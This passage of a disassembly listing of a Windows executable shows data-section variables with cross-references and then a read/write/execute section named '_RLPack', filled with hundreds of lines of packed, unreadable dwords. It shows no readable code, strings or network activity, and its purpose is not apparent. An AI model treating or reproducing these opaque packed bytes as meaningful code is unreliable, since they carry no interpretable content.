					; sub_41FEA9+12Bw ...
dword_4DCFA8	dd 0			; DATA XREF: sub_41DE2F+3Cw
					; sub_41E4D4+5r ...
dword_4DCFAC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFB0	dd 0			; DATA XREF: sub_41DE2F+31w
					; sub_41DEA2+311w ...
dword_4DCFB4	dd 0			; DATA XREF: sub_41DE2F+21w
					; sub_41DEA2+22Dr ...
dword_4DCFB8	dd 0			; DATA XREF: sub_41DE2F+28w
					; sub_41DE77r ...
dword_4DCFBC	dd 0			; DATA XREF: sub_41DE2F+15w
					; sub_41DE77+8r ...
dword_4DCFC0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFC4	dd 950000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFC8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFCC	dd 142340h		; DATA XREF: sub_41D933+7Aw
					; sub_422E72+Fr ...
dword_4DCFD0	dd 1			; DATA XREF: sub_422ECA+ADw
					; sub_425AC7r
dword_4DCFD4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFD8	dd 95075Ch		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFDC	dd 950758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 808h	dup(0)
_packed		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 0001F27B ( 127611.)
; Section size in file		: 0001F27B ( 127611.)
; Offset to raw	data for section: 000DF000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 4DF000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0EC8B0055h, 57565351h, 903850BFh, 0F6330342h, 79124BBh
		dd 0FC458D0Eh, 6847FE56h, 0F0F073Fh, 77FF0218h,	37750473h
		dd 0B5E8150Eh, 7539004Ch, 0FB1C7408h, 0A70E0ABEh, 5906019Fh
		dd 6A781550h, 0E535633h, 583E10FCh, 0AEB14B6h, 57988D0Ch
		dd 7100913h, 8C7832Bh, 0BB68D681h, 5FA87200h, 0C3C95B5Eh
		dd 24441D8Bh, 541D08h, 0CE835604h, 0C00085FFh, 57532574h
		dd 0F5B9388Dh, 8A0201C3h, 23DE8B02h, 33D9C8C1h,	0EE60C375h
		dd 38850444h, 0F091A972h, 1F754FD0h, 0C15B5FE6h, 0D0F75EC6h
		dd 33A740C3h, 0E8EA57DBh, 0FAA41F30h, 0A02404C7h, 0EE74FF54h
		dd 0F08B0614h, 24A3FAE8h, 593FF8EEh, 7400F385h,	0C47F62Ah
		dd 61287510h, 24E85843h, 0F02D90A1h, 1428F620h,	8D0CA957h
		dd 0CFF1E44h, 25E81850h, 0C4832EA0h, 0D6EB1007h, 1B43C033h
		dd 6A511B4Bh, 8BB102FFh, 53A3E1D8h, 47F357D5h, 8B1F45B5h
		dd 24AE5DC3h, 8A819C1Dh, 2A9D025Ch, 35FF0622h, 0E443E57Ch
		dd 0D5CC152Ah, 0A185E81Ch, 0B58C1731h, 8B062004h, 7050781Dh
		dd 647E6A8Fh, 0CA33D332h, 0F0414010h, 32D2CA57h, 4430BEA8h
		dd 565EAC18h, 0B0241DC8h, 758918B0h, 46ABEFEh, 85066414h
		dd 3EFFDA4h, 0B845C750h, 0AE66D7E8h, 0E02BD80Eh, 7D891966h
		dd 0B174A2DCh, 0FEA84097h, 0FEEEBF09h, 0A47B0FA3h, 37E995DFh
		dd 286A2C31h, 245ACB47h, 6C88904Fh, 14524EAAh, 0F07B5082h
		dd 68358B1Bh, 37D6DB23h, 0D00AF416h, 80C71045h,	0E0BDB066h
		dd 2459A0D3h, 19A36864h, 71089B8Ch, 28E951E4h, 686C12E9h
		dd 40390B98h, 6B24E805h, 0A385E074h, 0D91DB370h, 88C204A4h
		dd 207E2A09h, 5D8919C9h, 40F406F8h, 111DFCAFh, 99E54048h
		dd 3C4735E0h, 8C258972h, 86A8F007h, 0B9D23306h,	0D1E03E8h
		dd 74A3F1F7h, 0FF20A089h, 0A5A66D37h, 1988A163h, 0EE026A2Ah
		dd 684424E0h, 0DF753032h, 53C649A4h, 0CC2478C7h, 0A00E5071h
		dd 92023D88h, 235B910Bh, 20E6209Fh, 501CF77Ch, 73640268h
		dd 3B40A444h, 29850FC3h, 0BD80A7A8h, 91021AA1h,	0CE50161Ah
		dd 0CC7DF08Ah, 6213C1Fh, 1066B88Ah, 54A584FCh, 4CFD1408h
		dd 0ED8C9CDFh, 0FB101651h, 0C0EC1B1h, 935312F9h, 0B208BD25h
		dd 0FB25A8B4h, 680A1F5Ah, 3E329A98h, 3448FA28h,	374640E8h
		dd 4C37CA63h, 0A550AD26h, 8C901C36h, 50B88681h,	8C1D3981h
		dd 8BEE1A8h, 742656B2h,	0FF12BF31h, 419C080Dh, 933004D9h
		dd 0C364F623h, 991A6A57h, 56F9F7D8h, 61C28005h,	25029788h
		dd 984CE847h, 29F83B21h, 4CBFDD72h, 0FE411810h,	0F9B1F121h
		dd 8A4D1C4h, 8914A410h,	831198C4h, 120A60F8h, 806826A6h
		dd 9444DBECh, 90348F54h, 5318220Dh, 9433A3B9h, 349FD669h
		dd 0B9861075h, 0FB3B3D3Bh, 207C2930h, 0ADC0574h, 741F24FDh
		dd 24E25F14h, 7845683Ah, 0EBDC397Dh, 1274A6C7h,	506E5BE8h
		dd 6A850DCDh, 886C3407h, 5340E0F6h, 16A1433Ch, 56521C85h
		dd 2B23F919h, 0B5F98814h, 85C712A0h, 120D2869h,	9DEB40F2h
		dd 0E417D94Ch, 4834915Eh, 56888C64h, 10FC7759h,	13848052h
		dd 51780A8Dh, 780FECFFh, 4868F640h, 0CBC40684h,	0BE9E99A3h
		dd 776C52E8h, 53968993h, 13EC1B1Ah, 25FA522Bh, 282070D3h
		dd 4AE1C868h, 2CBD48DEh, 0E47127E0h, 0C4C90AA6h, 8375D853h
		dd 0B9543D0Eh, 7E02004Dh, 0C158A143h, 470FF11h,	55A2F9E8h
		dd 824F85F4h, 0A66C562Dh, 443D0FD0h, 8EA3920h, 1519743Fh
		dd 905B07D0h, 1C08CC35h, 4418A80h, 0E6741390h, 0B7043110h
		dd 360D75C2h, 82C3403Fh, 2A460DD5h, 6871BD60h, 0F665D5A6h
		dd 122553C9h, 9B583946h, 0C60D84A0h, 343C0218h,	30BDAA1h
		dd 48F0B253h, 0B9D6E83Dh, 3E2494A6h, 0B86444C8h, 1CE86239h
		dd 0B8229B19h, 5C3DE41Fh, 0F8C9427Ch, 0C07C1C0Dh, 70B1419Ah
		dd 0F669D702h, 6050CA34h, 5D86894Ah, 7513D684h,	500E621Bh
		dd 0C045199h, 84298B67h, 7E42840Ch, 0BD8E093Bh,	709D09E6h
		dd 734C5948h, 2D6C7529h, 4599D888h, 27E2C3Ah, 8E9A9B80h
		dd 0D682788Ah, 789501FCh, 4B45A4C5h, 783CA1EFh,	3BC18A06h
		dd 6AC18036h, 3E0837Fh,	4EC04968h, 587C5D75h, 34A4A32Ch
		dd 9F60820Ah, 66CA103h,	0BF3F6A29h, 68302DFCh, 0A35719D4h
		dd 0F1CA1CCh, 0BE3E2E16h, 88DC443Ch, 0FD24E856h, 8961399Eh
		dd 29ACD01Dh, 68FC06CAh, 1CC86778h, 0DEE889E4h,	2F81748h
		dd 0F00C45FCh, 19BE840Fh, 7417A839h, 4DFF3103h,	320BB84Eh
		dd 0FC07D638h, 6317D83h, 0C8CC57Ch, 955202F0h, 0F45D0A84h
		dd 219D4074h, 96E8C19Ah, 46954B9Eh, 9E7F8490h, 728B7224h
		dd 0E97A153Bh, 3836E973h, 0A2CD2FDCh, 99BE1967h, 444AC8C2h
		dd 1CF86270h, 42703346h, 4262391h, 0B4F445C7h, 2361E947h
		dd 9AE1E889h, 5FC0A42Dh, 5BC0335Eh, 58C2C92Ch, 9046CC2Eh
		dd 445F047h, 6A575608h,	8DD1D059h, 23B270BDh, 0C7A5F306h
		dd 82316080h, 3AC0513Eh, 711088C9h, 0AC66CD9Dh,	2FD7E904h
		dd 41349AACh, 0FDB931B6h, 749B20F2h, 0B81AFE42h, 0B4B5E92h
		dd 0B8F42428h, 1C3BF250h, 3608D481h, 1B10618Bh,	39A035FFh
		dd 9C6C76A8h, 661C2E0Dh, 0FAF8F798h, 0C069CC13h, 1B6A0720h
		dd 6884D05h, 661E0A4Bh,	6A28876Bh, 0D2122F06h, 9B28B420h
		dd 10402821h, 0D27CB089h, 0D206D453h, 0D3ABDC78h, 1C75F223h
		dd 2A8EE6E4h, 7F99875Ah, 0A83AE9E2h, 68E2A3FFh,	0E8CB68A0h
		dd 1392A37h, 14C853C1h,	0C8B00F6Fh, 0B593BF34h,	94458970h
		dd 501CF41Ch, 1D9C404Bh, 0A7102845h, 0F485CE5Eh, 37E933DCh
		dd 7501F883h, 0BB9EC707h, 98EB030Dh, 74021803h,	4ED3E909h
		dd 0C450C2Dh, 0E824CCB4h, 59946DC7h, 6B5824BBh,	4426828h
		dd 1A90B80Ch, 0BE4CE824h, 3C414ECBh, 36ADB33h, 0C8623A38h
		dd 5900FD40h, 94051888h, 754984A5h, 0E0F482F6h,	4AB06264h
		dd 2EA233EFh, 841969Ah,	3DAA95E8h, 2416D678h, 0C835C4DFh
		dd 9642E34Fh, 0ED28102Ch, 336C2135h, 9EC412A3h,	3467A5D9h
		dd 50960E16h, 0D5D3262Ch, 0B649C2A0h, 1B7E2D4Ch, 82D11CD1h
		dd 45138868h, 9EBE202Ah, 5BE4794h, 706BC810h, 0B274E541h
		dd 809B5979h, 0BE4111D0h, 8A4C4808h, 0CD7EEB83h, 0B9F52D34h
		dd 34581D26h, 0C4E3653Ch, 340389CFh, 0B54C7E4Eh, 711F414Fh
		dd 246A96D6h, 0BC92FB52h, 82744CC0h, 209319FBh,	4006BD56h
		dd 57A00C10h, 4948E837h, 482CC46Fh, 0F33BEF80h,	0C60D487Eh
		dd 83BDEBF0h, 74FDFE0Dh, 0AADB0A25h, 94850A1Ch,	4393FA4Fh
		dd 8B04C77Dh, 0E03B0C30h, 5CE9997Ch, 0EBC4EC43h, 0C6799702h
		dd 78A41932h, 215D8822h, 0D820A046h, 7D570241h,	8A3CFC9Ch
		dd 86C7DB07h, 3684D54h,	0F01CADE7h, 1B5C9DCDh, 0FC8CD138h
		dd 43D33818h, 989AA008h, 0FCC85C1Bh, 187535C5h,	23CEDF0Dh
		dd 0E14CBD28h, 6C800828h, 78957166h, 0E819BB42h, 484E3554h
		dd 0CAAB560Eh, 84A32222h, 5CA69810h, 0A284C7D0h, 4317159Dh
		dd 0A0484A24h, 7BE88CB5h, 0F468BE51h, 324C1145h, 216D4FE8h
		dd 21893434h, 41EDA853h, 2822744Eh, 541F2558h, 0E81891A9h
		dd 789414Dh, 0A0F95955h, 75F4173Ch, 0B58BEA14h,	232512Ch
		dd 0E3A2D096h, 348C9D39h, 6889C418h, 0AF879C2h,	62A6F6A0h
		dd 0CB4C99AEh, 6AEC4D04h, 0DEE05A1Fh, 0AC20FF8Bh, 80260374h
		dd 29752D38h, 200258A1h, 0BE000FA3h, 19890170h,	0A33584C6h
		dd 5624D530h, 58279F87h
		dd 206BCh, 4E9834Ah, 0CC7DD33Bh, 139D3816h, 63745882h
		dd 21F8DBC1h, 6120E16h,	0FCE03527h, 0F60A3E80h,	0DCABB835h
		dd 0C8F214DAh, 0F5DBA1CDh, 17C16046h, 0FF3CECA8h, 258F6884h
		dd 0F068420Ch, 824F1446h, 5620BD21h, 0FC1FD6FFh, 96A37EF0h
		dd 8440654Bh, 0C6C22386h, 64F7A2Ch, 0C8CD010h, 0A7B97D78h
		dd 2BE2815h, 850F1839h,	4C0B4ABFh, 0CC68293Ah, 4D6E9121h
		dd 0A4E91914h, 40568B37h, 23C842AEh, 2011A899h,	2AC87CFFh
		dd 0B2904FC4h, 22D41BEAh, 2775386Fh, 56BC6828h,	8D7CB530h
		dd 9B9BE9E8h, 4D7401D4h, 689F6840h, 4C29944Eh, 3298206Ah
		dd 0B87039EBh, 170A3711h, 0E1695332h, 29E83324h, 0B1969339h
		dd 5CAC6817h, 7C42C5A9h, 0C78B0978h, 7B4A26E9h,	0DEA90362h
		dd 72BF8739h, 59415609h, 0A2E0147Bh, 440ACC57h,	44F48B5Ch
		dd 0F598F703h, 0E4D95275h, 884FA488h, 0D78EEEA2h, 45855414h
		dd 3851052Ch, 83E10D1Eh, 12974F11h, 8529980Ah, 26668516h
		dd 112F6774h, 5F56787Ch, 8AAC52EFh, 47C57D63h, 1E881220h
		dd 937B350h, 0BB188468h, 16BB9A59h, 0E2A514A0h,	0E474680Ah
		dd 437BE1E3h, 2E7C1BE8h, 68953355h, 2C4D8ABAh, 5FA82FA0h
		dd 421F4A6Ah, 669AA1FDh, 251490C9h, 89D151DFh, 0C4D32218h
		dd 82347B9Bh, 98E658A9h, 96CEC81h, 3C0AA1E5h, 5031C541h
		dd 50F297A2h, 8408F340h, 2C486498h, 0B19EB242h,	13483A5Fh
		dd 8F21506Ah, 0A3A05CCAh, 237424A0h, 7E5ACCD8h,	6C63202h
		dd 0AAA24740h, 185A9FAFh, 0A557243Ch, 0A2F646B6h, 4D72B08Fh
		dd 0AC752B08h, 0D9835E2h, 60116D50h, 64812C02h,	324AC559h
		dd 66D312Bh, 0B10F6A15h, 9E24DF84h, 44692596h, 7D8B0082h
		dd 38F63320h, 1357741Fh, 14CC6E9Eh, 1174C031h, 0A2C78146h
		dd 3D8C06Bh, 0E9DD117Ch, 88AF430Dh, 74C95A1Bh, 856738F2h
		dd 0A7209038h, 0F4F88B2Ch, 315CE2Eh, 920B1FF7h,	870E067Eh
		dd 7BB23BD5h, 7E6C119h,	1120033Bh, 0D0642768h, 98B00CA2h
		dd 140B8AD1h, 0E6466ABAh, 88E8186Bh, 24C4DB7Ah,	67A2E935h
		dd 425C5608h, 8D94A073h, 445422C8h, 0DC47462h, 5C12BA28h
		dd 0B1D211FFh, 542C1815h, 0DE96B9A7h, 5068B561h, 3A253D42h
		dd 8C8FA485h, 0E88980AAh, 952B1CAh, 0E1C7EA24h,	681A90F6h
		dd 0A431A030h, 0E9898B31h, 3A915611h, 88C42054h, 59061C24h
		dd 0C7739E9h, 9726E20Ch, 0FC585901h, 751A8230h,	23B0C319h
		dd 491825B6h, 43A1C96Dh, 888B9227h, 9C9B4048h, 27A5E90Dh
		dd 48BE3408h, 7BCC1F04h, 0BF17596Bh, 11D4CFFCh,	1C38D10Ah
		dd 6408E348h, 3126E59Fh, 11CFF862h, 0D74A9F4Eh,	0D2772816h
		dd 0A3D18811h, 3B181C1Ah, 2C9E2B88h, 70840F22h,	9C991635h
		dd 5A165C16h, 7C91B399h, 80450473h, 0CD89046Ah,	22F478BEh
		dd 2F68054h, 3584258Bh,	54BCF611h, 0F0B40D07h, 5FA45EDh
		dd 619ED53Bh, 8A03B279h, 9435B4AFh, 0BA22E864h,	285E1BB9h
		dd 645C88FCh, 34F5A2Bh,	50E4BF5Eh, 0EF800D4Fh, 0E80BD83Dh
		dd 0B83996A1h, 4521B26Ch, 8A2F2C7Ch, 0F304C38Ah, 9546CF80h
		dd 4968012h, 188891E6h,	0E464120Ch, 0A4B13B9h, 84938A43h
		dd 41C7E688h, 0FC3C9993h, 42951C8Eh, 0F8202A0Ch, 8A841079h
		dd 946D1221h, 0CFB421B9h, 53C32919h, 676A1248h,	0E8EE11Ah
		dd 8224015h, 29CF1297h,	68A2016Bh, 1B7C61BCh, 0A6E8158Bh
		dd 1FA08D8Bh, 25BEC969h, 52481C4h, 21013EDCh, 16E614E8h
		dd 0DD615D7Eh, 23B13227h, 847022EAh, 75619DA6h,	9B1A2F07h
		dd 782F025Ch, 0B18421FFh, 0B09152FBh, 1100542Dh, 93960DE8h
		dd 0E0596E7h, 0CAAFCD2h, 0CB95CAEAh, 6622179Bh,	0B223FF7Eh
		dd 4A671E48h, 0F3335418h, 0B1C34010h, 0D3788C6Eh, 0D1631DD9h
		dd 9B2E2662h, 0E8F08B02h, 3BDEF73Ah, 0C692F61Bh, 0EBD86004h
		dd 8AB8B06h, 0A771BCB2h, 2930FB90h, 0A46857ABh,	0FA08C091h
		dd 0FDFC509Ch, 7C8D49CAh, 23398000h, 0BEA11C74h, 0FA40A7D0h
		dd 38819164h, 500CF081h, 85886851h, 0FAE2E963h,	44803C08h
		dd 11D22DBEh, 44FF4D84h, 4BE85029h, 0A2451EE6h,	22C27FB8h
		dd 0C267BEA3h, 11832C68h, 0B875FB6h, 324E6B3Ah,	0CE2C5990h
		dd 70586642h, 410C9494h, 335F9EE9h, 0CEE08479h,	0E77D414Ah
		dd 799C9934h, 6A1982F7h, 4AF2E81Bh, 0E01C25E0h,	679DE694h
		dd 0D558A48Ch, 1099E47Bh, 0B8941989h, 84930371h, 88D6F023h
		dd 70D8D550h, 562184D6h, 0D6F8C291h, 0B313FE3Bh, 0CEC0C223h
		dd 9993BF10h, 41BC46Ah,	18228C20h, 14D6F402h, 2386D5E6h
		dd 0F4425C59h, 740A15D6h, 2238D516h, 0A28513D7h, 5C666D5Eh
		dd 0CE44883Eh, 0C55E4278h, 11085868h, 8247967h,	75768A56h
		dd 1488D03h, 53A808Ah, 3133BA94h, 27A60F89h, 3FC753F9h
		dd 57107DD0h, 4D20BF34h, 9AF2B481h, 0D4842472h,	8A19A572h
		dd 13DFE832h, 6255C1E4h, 0DA1A7585h, 9ABD1091h,	228397A2h
		dd 1222305Dh, 0BE334C8Eh, 949C1D0Bh, 9EA49CAFh,	4091301h
		dd 83267828h, 0B0067A53h, 1933867Ah, 30811574h,	479E24B8h
		dd 2C3D3B28h, 0E9DF7C0Dh, 0AE685B71h, 0F277315Eh, 0D8792C92h
		dd 0C5F87CFAh, 230D8ADEh, 2CD69B9h, 2488831h, 12030F93h
		dd 88F8D03h, 20B64FD8h,	4C08318h, 186F5148h, 8D6E8FABh
		dd 0B0352E44h, 0FF1B264h, 141A9171h, 0C2D356F1h, 1C11CE18h
		dd 9616B9AFh, 1FD987FEh, 8D3C1460h, 5A8B4219h, 3BEC3039h
		dd 0B2878D29h, 894D5231h, 0F4452207h, 3364AD86h, 0FC70FF1Bh
		dd 0EDE8E35Ch, 50749971h, 214496C6h, 0C055831h,	42443BEBh
		dd 7CBC3475h, 0CCEA94A5h, 99AA129Ch, 9D880C10h,	3D0D6E68h
		dd 8457F470h, 4D3B187Fh, 146D0928h, 0B8470804h,	39498F0Dh
		dd 0C512C809h, 0F88B2210h, 1443C49Ch, 0B3915811h, 1928FCC3h
		dd 5078B2Fh, 60381356h,	0C428694h, 25FEF28h, 85C7B27Fh
		dd 0D2D1FD38h, 18A41BA4h, 39E46152h, 7394797Ch,	7235F136h
		dd 7D8B1802h, 66106808h, 8452691Eh, 8545616h, 0CC8A4012h
		dd 0A96870C6h, 53122F11h, 0BE707474h, 5A108388h, 138ACDF4h
		dd 0A6406681h, 0EC681C15h, 28022211h, 840BE4BFh, 0BD0652A0h
		dd 0C2F5F499h, 0F28B1408h, 18B0E990h, 2905D620h, 43CC046Ah
		dd 29CDCDE8h, 0B10461F5h, 98C0227Bh, 801C3A40h,	3014A0BDh
		dd 909527Ch, 167E3902h,	2899036Ah, 0FD940CDCh, 0EC5683Ah
		dd 84248F41h, 1115567Eh, 7F8EFD10h, 0C49F8848h,	5C8614EBh
		dd 606A2DF9h, 0C2800C48h, 95882014h, 50294216h,	14846DBBh
		dd 9D8735E8h, 0C6A2882h, 0D350EB56h, 20F2828Ch,	0C506C025h
		dd 0B1872F16h, 0F514C91Dh, 5088FADh, 91E42156h,	3096400Eh
		dd 3503E932h, 0FB8E4ABFh, 0CD1C20B2h, 19A4E178h, 0A3AE7C10h
		dd 65285FCDh, 885913A9h, 258BC090h, 0AD4D2084h,	0AABE3528h
		dd 531121A2h, 615F9FE8h, 0DC184DAEh, 8B27E975h,	84E2198Ch
		dd 0CB483B0Ch, 0C01D2572h, 9C18322h, 8B088903h,	5708F6C6h
		dd 90CDD468h, 96DF117Dh, 6E6784C2h, 88D0300Ch, 15AECAE8h
		dd 0CC215243h, 37B1B510h, 84C80820h, 22C8A042h,	8B88506Fh
		dd 841F6558h, 7621BC42h, 0B4325064h, 210B6111h,	88B0902Ch
		dd 0C17594Ch, 374284A4h, 221EF8C4h, 0B2211A0h, 9490E321h
		dd 0B5590D88h, 2184900Ch, 0A04495F8h, 0E3118832h, 1D8D100Bh
		dd 0CE10E19Dh, 0B41B78B2h, 4316B922h, 10702163h, 194EB2A4h
		dd 858F0864h, 441C3388h
		dd 167A2260h, 50211E43h, 75C46511h, 6F3B62Fh, 4868066Ah
		dd 0D234EA33h, 4B1E160Bh, 7C32FC0Dh, 4C214EDAh,	0E9200288h
		dd 800CF354h, 2557842Ch, 1AA71055h, 10452888h, 19921572h
		dd 5FFB081Ch, 62367494h, 0C31196Ah, 0B894EB11h,	0D521424Ch
		dd 9281844h, 0CCF0208Ch, 366BE926h, 2B17E466h, 0E429ACE8h
		dd 13D46203h, 44A837C4h, 25262B83h, 5F333721h, 192129D4h
		dd 5A88A490h, 0CC21F356h, 10842902h, 4284FEF0h,	58312178h
		dd 6C42680Dh, 0C7106021h, 84458C8h, 680E082Bh, 2240444Ch
		dd 834199Eh, 0A09342DFh, 84246810h, 75211442h, 0B6880890h
		dd 68110856h, 0E89DCBF8h, 3D4C4362h, 858DC4DCh,	56841265h
		dd 44C42908h, 11B83223h, 642A1D64h, 712D2765h, 5A560C7Dh
		dd 14C7CD5h, 0E857B008h, 50866546h, 0FCA6956h, 0B828221Eh
		dd 1742C281h, 7084AC68h, 0F22150A0h, 163FA407h,	1E085B84h
		dd 0E9295488h, 0D8A13F85h, 0C87921E8h, 0CDB45612h, 0AA951E87h
		dd 80F893Fh, 423B21ABh,	3FA489A2h, 8A08413h, 5654481Eh
		dd 7F533F6Bh, 4AF221D0h, 0DA215326h, 15307734h,	36A06C23h
		dd 3D24E934h, 0CB64A8F0h, 2A920E44h, 0E9C29143h, 298EFCA4h
		dd 0E588CAA8h, 9C875491h, 297BE98Ah, 0BC88F490h, 8A61A756h
		dd 902952E9h, 569388E8h, 0E98A6CA7h, 0DC902929h, 59566A88h
		dd 0CC844205h, 292A5CCAh, 4123BC42h, 0AB08CFA6h, 8B44516h
		dd 96592C15h, 4284A80Ch, 6469C817h, 160222A0h, 94215443h
		dd 7D90ED0Ah, 22681FF0h, 7C42CA8Ch, 88FB8310h, 7CC44570h
		dd 45902229h, 8582981h,	4C42865Ah, 0B589B21h, 21444268h
		dd 0C8311038h, 7472442Ch, 15AE9004h, 5D112422h,	8699155Ch
		dd 48211442h, 0C326E64h, 760B3311h, 0C9F82286h,	2EC81E42h
		dd 922F064h, 21194316h,	8FF408E4h, 8414EE50h, 0DF21DC42h
		dd 0D032D964h, 210BCA11h, 88CC90A5h, 0D9059B5h,	0BA011EAh
		dd 0BC428676h, 44648B21h, 7611B432h, 13E7100Bh,	6144B088h
		dd 4286D22Ch, 644C21A8h, 11A432A9h, 94210B37h, 2288A090h
		dd 9C0C4859h, 0C80D4284h, 21946433h, 75188EF8h,	0B42D417Bh
		dd 0B8182351h, 772F7E74h, 0F4C6405h, 0DC88A950h, 0D7CA8657h
		dd 50256A4Dh, 0BB217F96h, 0E91C0268h, 528451FDh, 3BA62244h
		dd 11EDCE10h, 91454088h, 19D81572h, 857C0838h, 34C8A090h
		dd 8B2C6744h, 21304286h, 10836252h, 3D082C11h, 0C86E9085h
		dd 2C284420h, 1C428640h, 2B641321h, 0FE101432h,	0DC1C858Dh
		dd 881010E1h, 0CC759E9h, 0D4428408h, 46487C8h, 4316BF22h
		dd 0C8FC1172h, 2364AA21h, 90859538h, 44F4C80Eh,	42D62C80h
		dd 10F0210Dh, 19C1B26Bh, 855608E4h, 0E0C88E90h,	792C4144h
		dd 21D84286h, 0CDC622Ch, 1708D411h, 0C8C79085h,	2C0244C8h
		dd 0C4428695h, 0A28CED10h, 8B81980h, 529085D8h,	0C344B4C8h
		dd 42863D2Ch, 62AE21ACh, 0A4110BE9h, 90859908h,	4F9CC8D4h
		dd 1738D691h, 4469B80Ah, 11EB80C8h, 7C08F71Ah, 1D5B29A1h
		dd 606B1E2Fh, 0F85D3904h, 0EAA21A75h, 3AA4C541h, 66377084h
		dd 0C2809F84h, 285D8920h, 0EB0C8DE7h, 1D2E1703h, 0A640DEB5h
		dd 0C86008C7h, 28582E5Bh, 190F20A2h, 9E8419E8h,	0D067CE6Ah
		dd 665EB42h, 109F7C81h,	5E24C458h, 7DD40EFFh, 0AF7C0362h
		dd 11C89B61h, 8B111D08h, 2BB34D84h, 1845A805h, 0E9DDD605h
		dd 4CC4CDh, 28E88E8Bh, 0DCF61641h, 2F613C75h, 5C96E856h
		dd 155A3E18h, 363199DDh, 48898808h, 4C2E741Dh, 71839116h
		dd 4410DEABh, 684C634Eh, 654253ECh, 2DE91404h, 0C7F82163h
		dd 0A8B3E11h, 8A0A3810h, 291015F4h, 0E81923B2h,	88851408h
		dd 0E04409F7h, 0A8AFF21h, 0D490E221h, 9559EA88h, 4284CC0Ch
		dd 6F80C8D5h, 64E19F50h, 11BC3231h, 1C210BABh, 9688AC90h
		dd 8407CC58h, 8121A442h, 9832B764h, 100B6C11h, 90880616h
		dd 88B7F04Eh, 0E19CF06Eh, 1104B262h, 852D087Ch,	74C89D90h
		dd 75711844h, 117A2755h, 164CC758h, 72A98220h, 1C309259h
		dd 0E310703Bh, 71D763h,	883A1B0Eh, 8E974E8h, 0E8841235h
		dd 0E91BF0C2h, 0CAFCC948h, 0B20B6650h, 3CC8C589h, 953011C2h
		dd 90159D2Bh, 2A44CA09h, 75C48811h, 0C552B919h,	71BCC720h
		dd 0E9E72ACCh, 54A14B77h, 8E5E0814h, 9C15742Eh,	4D4711A0h
		dd 782A2748h, 0C4AC8C95h, 0BEF0AC8Ah, 3CE86971h, 0C8E8D554h
		dd 89EB804Ah, 2FD9A885h, 1289FC18h, 0B3DBF130h,	4013341Ah
		dd 9942C610h, 8026583h,	4EA70834h, 6F2640B1h, 2C107947h
		dd 0ACA8A3F1h, 1A6F1A31h, 0E8F12C10h, 75F14238h, 0ACA14B43h
		dd 0DC713C6h, 1CB2A037h, 8AA305Ch, 0BAC33A14h, 0DE134B0Ah
		dd 0B0CAC6F4h, 8308006Ch, 19380BC1h, 32D9F675h,	89108528h
		dd 0BE272055h, 6A80E054h, 0BDE8790Bh, 7A828D09h, 0A057B8C8h
		dd 7DF79930h, 0C1030C08h, 7E17F43Dh, 0CD51332Bh, 42C66C84h
		dd 0B3804144h, 6214E1A7h, 0E92A2008h, 8DF0B166h, 2DF8D031h
		dd 1ADD1D39h, 85C7FC86h, 32491BCCh, 0B814643Fh,	0BC640548h
		dd 11032044h, 41740AA6h, 522C28BFh, 0F6C08384h,	0D8470E81h
		dd 87C5CC89h, 480C9939h, 4001C7B4h, 0E0751F39h,	44BE1AEBh
		dd 3844A151h, 0E1C15C03h, 36AAF706h, 0B48D9A3Fh, 0DD188E1Fh
		dd 0FD8411A2h, 2DF04B01h, 5F9FA92Ch, 0FCE5922Bh, 0FDBD8923h
		dd 2598AE36h, 4C78D815h, 1858A17h, 0E0F6FF23h, 7066C01Bh
		dd 9D05F825h, 852108C8h, 0E789F85Ah, 0C0150610h, 0D14C5CB6h
		dd 14FA08Dh, 7CBA8Bh, 5038C033h, 1E6A359Dh, 0DC950F30h
		dd 0F88B4A40h, 84EDC21Dh, 3B405974h, 135D88FBh,	0B0227E2Fh
		dd 0C6701E17h, 6C1D7852h, 88CE3E58h, 2F5845FEh,	0BE0F0E03h
		dd 0CF3BC14Dh, 3B35DE7Ch, 0C6023259h, 3E1929B0h, 0DC39E6D8h
		dd 22CC13AFh, 4AA2B052h, 0D3E0C0A0h, 0E845A427h, 0E7FC432h
		dd 492B7568h, 86A9ED02h, 13E78A76h, 423054DCh, 0A4E809F8h
		dd 821FF17Fh, 309D8806h, 3A801046h, 0C64F64B8h,	6A586823h
		dd 4786EE0Fh, 4C9B1A8Dh, 218BBC18h, 0B491B80Ch,	634E512Dh
		dd 8C5EC21h, 0B717E5Ch,	876BD01h, 0F8C0802Ch, 0F7A00885h
		dd 40C33C61h, 0F8C0100Fh, 0E48112ACh, 25752D89h, 0EE47AE96h
		dd 0B0217143h, 0BF7DEB8Ah, 1F2F2B6Bh, 5FB6882Dh, 8016E1D8h
		dd 31988359h, 87220B4Bh, 0E916A10Fh, 0A191E3B4h, 1A267A78h
		dd 5960734h, 646DCE1Fh,	0A7E2EA5h, 45162092h, 0A75B2804h
		dd 0BF501861h, 0B034CC3Bh, 0C442D248h, 14627E62h, 534E179Eh
		dd 8B2D36F3h, 3B2439C6h, 59274EF3h, 21792ADEh, 2B98D3B4h
		dd 9778A16Fh, 227FAFC9h, 0D4C084DAh, 9D218125h,	0F86E6BCh
		dd 5ECD93ACh, 5C8B19C4h, 0E95B7A6Dh, 44111810h,	3048CFD5h
		dd 2DD2B084h, 244392A0h, 621B2468h, 8C477CD0h, 31170510h
		dd 1059A675h, 0ACA1D4B8h, 46960CD2h, 0C73E9A17h, 0D54C423Eh
		dd 87468210h, 11640B49h, 8B010D3Eh, 272426BCh, 1349F0FBh
		dd 0E27B44E8h, 9647BCAh, 415E3916h, 7CA105EBh, 0D0112290h
		dd 0C9381087h, 4881F4Ch, 32940F8Fh, 4C262219h, 41117411h
		dd 2AC83498h, 0A90F91C8h, 709859C1h, 0B00C222Bh, 5E226881h
